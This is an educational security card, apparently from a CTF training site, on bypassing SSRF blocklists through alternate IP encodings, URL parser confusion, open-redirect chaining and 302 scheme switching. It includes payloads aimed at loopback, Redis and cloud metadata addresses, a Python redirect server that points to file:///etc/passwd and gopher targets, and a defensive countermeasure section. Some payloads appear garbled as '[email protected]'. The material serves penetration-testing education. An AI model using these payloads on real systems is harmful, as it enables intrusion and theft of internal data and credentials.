Browse CTFs New CTF Sign in

SSRF Filter Bypass: IP Encoding, URL Redirection and Parser Confusion for Blocklist Evasion

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

SSRF filter bypass techniques are directly relevant to real-world exploitation because most applications that are aware of SSRF deploy blocklist-based mitigations rather than allowlist-based ones. In 2021, a bug bounty report on a major cloud platform earned a six-figure reward for bypassing an IP blocklist that blocked 127.0.0.1 but not its decimal encoding 2130706433. In 2022, a HackerOne disclosure against a fintech API demonstrated that an open redirect on an allowlisted domain could be chained with SSRF to reach internal metadata endpoints, bypassing a hostname-based allowlist entirely. OWASP A10:2021 (SSRF) explicitly notes that attackers use "alternative IP address representations" and "redirect chains" to bypass filters.

Core Concept

A blocklist-based SSRF filter attempts to prevent requests to sensitive addresses by checking the user-supplied URL against a list of prohibited hosts. These filters almost universally fail because IP addresses and hostnames have many equivalent representations that application-layer string matching cannot enumerate exhaustively.

The decimal IP encoding bypass exploits the fact that operating systems resolve IP addresses in multiple numeric bases. 127.0.0.1 in decimal dotted-quad notation is equivalent to 2130706433 (a single 32-bit integer, computed as 127×2²⁴ + 0×2¹⁶ + 0×2⁸ + 1). Many HTTP client libraries (Python requests, Java URL, PHP file_get_contents) accept decimal notation. A filter checking for the string 127.0.0.1 will not match 2130706433.

Octal notation: 0177.0.0.1 (each octet preceded by 0) — many POSIX-compliant HTTP clients and operating system resolvers accept this. Less well-known than decimal encoding and therefore bypasses more filters.

Hexadecimal notation: 0x7f000001 (the full 32-bit address as a hex literal). Similarly widely accepted.

IPv6 equivalents: ::1 (IPv6 loopback), ::ffff:127.0.0.1 (IPv4-mapped IPv6 address). Applications that apply IPv4 filtering without also filtering IPv6 equivalents are bypassed.

URL confusion bypasses exploit the parsing ambiguity in URLs: - http://[email protected]/ — the attacker.com part is a username credential in the URL; the actual host is 127.0.0.1. Many filters extract the host by splitting on / or checking a prefix, and see attacker.com rather than the true destination. - http://127.0.0.1#@allowlisted.com/ — the fragment #@allowlisted.com/ may fool a filter that checks for allowlisted domain suffixes.

Open redirect chaining: if an allowlisted domain (e.g., oauth.example.com) hosts an open redirect (/redirect?url=http://169.254.169.254/...), an attacker registers a webhook URL of https://oauth.example.com/redirect?url=http://169.254.169.254/latest/meta-data/. The filter allows the request (allowlisted domain); the server follows the redirect to the internal address.

302 redirect to restricted scheme: a server that allows http:// URLs but blocks file:// and gopher:// may still follow a 302 redirect from an HTTP URL to a file:// or gopher:// URL if the HTTP client does not restrict redirect target schemes.

Technical Deep-Dive

# Generating all alternative representations of 127.0.0.1
ip = "127.0.0.1"
octets = list(map(int, ip.split(".")))
decimal = (octets[0] << 24) | (octets[1] << 16) | (octets[2] << 8) | octets[3]
print(f"Dotted decimal: {ip}")
print(f"Decimal int:    {decimal}")            # 2130706433
print(f"Octal:          0{octets[0]:o}.{octets[1]:o}.{octets[2]:o}.{octets[3]:o}")
print(f"Hex:            0x{decimal:08x}")       # 0x7f000001
print(f"IPv6 loopback:  ::1")
print(f"IPv4-mapped:    ::ffff:{ip}")
print(f"IPv6 hex:       ::ffff:7f00:0001")
-- URL confusion: username@host confusion
-- Filter sees host = attacker.com (allowlisted); HTTP client resolves 127.0.0.1
GET http://[email protected]/internal-service HTTP/1.1

-- Alternative: URL embedded in path (some parsers use last segment)
GET http://attacker.com/redirect?url=http://127.0.0.1:6379/ HTTP/1.1
-- If attacker.com hosts an open redirect at /redirect, server follows to Redis
# 302 redirect to restricted scheme — attacker-controlled server
# attacker.com/redirect returns:
# HTTP/1.1 302 Found
# Location: file:///etc/passwd
# OR
# Location: gopher://127.0.0.1:6379/_PING

# Test whether the SSRF target follows redirects to file:// or gopher://
import http.server, threading

class RedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        # Change target scheme here:
        self.send_header("Location", "file:///etc/passwd")
        self.end_headers()
    def log_message(self, *args):
        pass  # suppress logging

server = http.server.HTTPServer(("0.0.0.0", 8080), RedirectHandler)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
print("Redirect server running on :8080")
# Register webhook URL as http://<attacker_ip>:8080/
-- DNS rebinding variant: attacker DNS resolves attacker.com → public IP first
-- On second query (after TTL expires): attacker.com → 127.0.0.1
-- SSRF filter resolves attacker.com to public IP (allowed)
-- Server re-resolves and sends request to 127.0.0.1 (internal)
-- This variant is detailed in the dns-rebinding-simulated card

-- Practical test: use singularity (DNS rebinding tool) or 1u.ms service
-- 1u.ms provides subdomains that resolve to 127.0.0.1:
-- http://127.0.0.1.1u.ms/ → resolves to 127.0.0.1

Security Assessment Methodology

  1. Confirm baseline SSRF — Establish that the endpoint is vulnerable to SSRF using Burp Collaborator before attempting filter bypass (confirm the server makes outbound requests at all).
  2. Identify the filter mechanism — Determine whether blocking is by IP string match, DNS-resolved IP check, hostname allowlist, or protocol filter. Use error messages and response patterns to classify the filter type.
  3. Test decimal / octal / hex IP encodings — Systematically test all alternative representations of 127.0.0.1 and 169.254.169.254. Note which are blocked and which bypass.
  4. Test IPv6 alternatives — Try ::1, ::ffff:127.0.0.1, [::1] (bracket notation for URLs). DNS-resolved IPv6 AAAA records may not be subject to IPv4 blocklists.
  5. Test URL confusion payloads — Try http://[email protected]/, http://127.0.0.1#@allowlisted.com/, and other parser-confusion forms.
  6. Test open redirect chaining — Identify open redirects on allowlisted domains using Google Dorks and common redirect parameter names (?url=, ?redirect=, ?next=, ?return=). Chain the redirect to an internal address.
  7. Test scheme switching via 302 — Host a redirect server on an attacker-controlled IP, register a webhook to that server, and observe whether the application follows the redirect to file:// or gopher:// targets.

Defensive Countermeasure — Replace blocklist-based SSRF filtering with an allowlist of explicitly permitted domains and protocols. Resolve the user-supplied hostname to an IP address at validation time and verify the resolved IP is not in any private, loopback, or link-local range — including IPv6 equivalents. Disable follow-redirect behaviour for SSRF-sensitive HTTP client calls, or at minimum restrict redirect target schemes to https:// with an allowlisted domain. Enforce IMDSv2 on AWS instances and use VPC security groups to block outbound traffic from web-tier instances to the metadata address range.

Common Assessment Errors

  • Only testing 127.0.0.1 and localhost — SSRF filters almost always block these literal strings. The valuable bypass techniques involve decimal encoding, octal, and IPv6 that are commonly missed.
  • Not testing 169.254.169.254 alternatives — The AWS IMDS address has the same alternative encodings: decimal 2852039166, hex 0xa9fea9fe. These bypass naive string-matching filters.
  • Missing URL confusion payloads — The user@host confusion and fragment-injection payloads are not covered by standard wordlists; they require manual crafting and understanding of URL parsing semantics.
  • Stopping after filter identification — Identifying that a blocklist is in use without attempting bypasses understates the severity. Always attempt all bypass categories before concluding a filter is effective.
  • Not testing scheme switching — Applications that only test HTTP scheme SSRF miss the redirect-to-file/gopher vector that may enable richer exploitation.
  • Confusing DNS rebinding with URL confusion — These are distinct techniques with different prerequisites. DNS rebinding requires controlling DNS TTL and relies on a re-resolution race; URL confusion is a parsing trick that does not involve DNS.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops precise understanding of SSRF filter bypass techniques including IP encoding, URL confusion, and redirect chaining
K0070 Knowledge of system and application security threats and vulnerabilities Covers alternative IP representations and their OS-level resolution behaviour
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains systematic bypass enumeration methodology for blocklist-protected SSRF endpoints
S0044 Skill in mimicking threat behaviors Builds adversarial skill in open redirect chaining and scheme-switching redirects
T0028 Task: Identify systemic security issues based on vulnerability and configuration data Develops ability to recognise blocklist approaches as systemically bypassable and recommend allowlist-based remediation
T0591 Perform penetration testing Provides complete SSRF filter bypass methodology from filter classification through bypass confirmation

Further Reading

  • Server-Side Request Forgery — Filter Bypass Techniques — PortSwigger Web Security Academy
  • SSRF Bible Cheatsheet — Wallarm Security Research (github.com/swisskyrepo)
  • OWASP SSRF Prevention Cheat Sheet — OWASP Foundation
  • Blind SSRF Chains — Brett Buerhaus, Security Blog

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.